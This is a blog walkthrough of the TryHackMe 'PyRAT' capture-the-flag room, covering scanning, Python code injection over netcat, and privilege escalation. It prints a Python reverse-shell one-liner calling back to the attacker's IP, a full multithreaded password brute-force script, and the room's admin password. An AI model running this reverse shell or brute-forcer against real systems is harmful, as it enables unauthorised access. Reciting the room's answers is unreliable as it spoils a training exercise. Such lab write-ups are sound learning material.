PyRAT | TryHackMe Walkthrough | RGHX

Hey Hackers! šŸ‘¾

A fresh machine just dropped on TryHackMe (launched 02/10/2024), and it’s begging to be hacked! šŸ”„

⚔ Level: Easy
⚔ Link: https://tryhackme.com/r/room/pyrat

Let’s get to the fun stuff:

šŸ” Port Scanning
šŸ—‚ļø Directory Enumeration
šŸ”§ Manual Exploration
🐚 Shell as www-data
šŸ‘¤ User Shell Access
šŸš€ Privilege Escalations

Ready? Let’s go hack this thing! šŸ’»āš”ļø

Port Scanning

nmap -p- pyrat.thm -T4 -Pn -oN nmap.txt
NMAP Output
  • Found an HTTP Service running on port 8000

Directory Enumeration

feroxbuster -u http://10.10.74.246:8000/ -x py,php,html,txt,pyi,js -o dir.txt
  • Nothing Interesting i got here , let’s move on !

Manual Exploration

HTTP on Port 8000
  • It’s suggesting to ā€œTry a more basic connection.ā€ Sounds like a hint to useĀ ncĀ for connecting!
nc pyrat.thm 8000
  • After establishing the connection, I typed some random text, and it spat out something like ā€œname ā€˜ldrv’ is not defined.ā€
  • It seems like Python is running in the backend.
  • I tested it by inserting a basicĀ printĀ statement, and it got executed.
  • This means we can run Python code directly in the shell.

Getting Shell as www-data

  • let’s try to inject a python reverse shell code
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.127.143",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])
rlwrap -f . -r nc -nlvp 9001

i took it from https://www.revshells.com/ and modified it a bit accordingly and it worked fine , i got shell as www-data.

  • i ran these commands to get a stable shell along withĀ rlwrapĀ binary.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Getting Shell as ā€œthinkā€

  • After enumerating a bit, i gotĀ .gitĀ directory inĀ /opt/devĀ directory.
  • Found ā€œthinkā€ user’s creds inĀ /opt/dev/.git/Ā config
ssh think@pyrat.thm 
  • Got shell as ā€œthinkā€ user
  • Time to grab thatĀ user.txtĀ šŸ˜Ž

Privilege Escalation

  • Found an email in theĀ /var/mail/thinkĀ file.
  • Checked out the GitHub of the room creator and discovered theĀ PyRAT Repository — the same tool I saw running inĀ ps -aux.
    šŸ‘‰Ā PyRAT GitHub
  • After analyzing the code, I learned that using theĀ adminĀ command can give us an admin shell.
  • A password is required, and the code had a hard-coded password ā€œtestpass,ā€ but it didn’t work.
  • Got stuck for a bit, but then decided toĀ brute-forceĀ it!

Brute-forcing admin’s password to get root shell

  • I used ChatGPT to write this simple script and modified it a bit.
import socket
import threading
from queue import Queue

# Server details
server_ip = '10.10.74.246'
server_port = 8000

# Path to the wordlist
wordlist_path = '/usr/share/wordlists/rockyou.txt'

# Number of threads
num_threads = 10

# Queue to hold passwords to test
password_queue = Queue()

# Flag to stop all threads once the password is found
password_found = False

def connect_to_server():
try:
# Create a socket connection
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, server_port))
return client_socket
except Exception as e:
print(f"Failed to connect to server: {e}")
return None

def attempt_password():
global password_found

while not password_queue.empty() and not password_found:
password = password_queue.get()

# Connect to the server
client_socket = connect_to_server()
if not client_socket:
continue

try:
# Send 'admin' command to trigger password prompt
client_socket.sendall(b'admin\n')

# Wait for the "Password:" prompt
response = client_socket.recv(1024).decode('utf-8')

if "Password:" in response:
print(f"Trying password: {password.strip()}")

# Send the password
client_socket.sendall(f'{password.strip()}\n'.encode('utf-8'))

# Receive the response after password attempt
response = client_socket.recv(1024).decode('utf-8')

# Check if the password is correct
if 'Welcome Admin' in response:
print(f"Password found: {password.strip()}")
password_found = True # Stop other threads
break
except Exception as e:
print(f"Error: {e}")
finally:
client_socket.close()

def load_wordlist():
try:
with open(wordlist_path, 'r', encoding='latin-1') as wordlist:
for password in wordlist:
password_queue.put(password.strip())
except FileNotFoundError:
print(f"Wordlist not found: {wordlist_path}")
except Exception as e:
print(f"Error reading wordlist: {e}")

def start_threads():
threads = []

for _ in range(num_threads):
t = threading.Thread(target=attempt_password)
t.start()
threads.append(t)

for t in threads:
t.join()

if __name__ == "__main__":
load_wordlist()
start_threads()

commands to get root shell

nc pyrat.thm 8000
admin
abc123
  • Boom ! We are root now !

Note : It was an intresting room , thanks toĀ joseml for this intresting room also it boosted my confidence as it took me only half an hour to pwn complete room.

Linked In : https://www.linkedin.com/in/raman-gautam-98208820a/

Youtube : https://www.youtube.com/@theunixverse77

By Raman Gautam

Caffeine-fueled cybersecurity explorer, CTF addict, and tech storyteller. When I’m not digging through logs or chasing flags, you’ll find me building vulnerable labs, breaking into containers, or sharing my journey through blogs, walkthroughs, and late-night code experiments.